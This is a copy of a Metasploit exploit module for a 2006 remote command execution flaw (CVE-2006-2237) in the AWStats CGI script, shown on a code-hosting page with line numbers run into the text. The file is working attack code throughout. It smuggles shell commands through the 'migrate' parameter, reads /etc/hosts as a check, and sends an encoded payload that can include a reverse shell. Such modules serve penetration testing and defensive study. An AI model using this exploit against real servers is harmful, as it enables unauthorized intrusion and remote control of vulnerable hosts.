Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/webapp/awstats_migrate_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(update_info(info,12'Name' => 'AWStats migrate Remote Command Execution',13'Description' => %q{14This module exploits an arbitrary command execution vulnerability in the15AWStats CGI script. AWStats v6.4 and v6.5 are vulnerable. Perl based16payloads are recommended with this module. The vulnerability is only17present when AllowToUpdateStatsFromBrowser is enabled in the AWStats18configuration file (non-default).19},20'Author' => [ 'aushack' ],21'License' => MSF_LICENSE,22'References' =>23[24['CVE', '2006-2237'],25['OSVDB', '25284'],26['BID', '17844'],27['URL', 'http://awstats.sourceforge.net/awstats_security_news.php'],28['EDB', '1755'],29],30'Privileged' => false,31'Payload' =>32{33'DisableNops' => true,34'Space' => 512,35'Compat' =>36{37'PayloadType' => 'cmd cmd_bash',38'RequiredCmd' => 'generic perl ruby python bash-tcp telnet',39}40},41'Platform' => 'unix',42'Arch' => ARCH_CMD,43'Targets' => [[ 'Automatic', { }]],44'DisclosureDate' => '2006-05-04',45'DefaultTarget' => 0))4647register_options(48[49OptString.new('URI', [true, "The full URI path to awstats.pl", "/cgi-bin/awstats.pl"]),50OptString.new('AWSITE', [true, "The AWStats config site name", "demo"]),51])52end5354def check55res = send_request_cgi({56'uri' => normalize_uri(datastore['URI']),57'vars_get' =>58{59'migrate' => "|echo;cat /etc/hosts;echo|awstats#{Rex::Text.rand_text_numeric(6)}.#{datastore['AWSITE']}.txt"60}61}, 25)6263if (res and res.body.match(/localhost/))64return Exploit::CheckCode::Vulnerable65end6667return Exploit::CheckCode::Safe68end6970def exploit71command = Rex::Text.uri_encode("cd /tmp &&" + payload.encoded)72sploit = normalize_uri(datastore['URI']) + "?migrate=|echo;echo%20YYY;#{command};echo%20YYY;echo|awstats#{Rex::Text.rand_text_numeric(6)}.#{datastore['AWSITE']}.txt"7374res = send_request_raw({75'uri' => sploit,76'method' => 'GET',77'headers' =>78{79'Connection' => 'Close',80}81}, 25)8283if (res)84print_status("The server returned: #{res.code} #{res.message}")8586m = res.body.match(/YYY\n(.*)\nYYY/m)8788if (m)89print_status("Command output from the server:")90print("\n" + m[1] + "\n\n")91else92print_status("This server may not be vulnerable")93end94else95print_status("No response from the server")96end97end98end99100101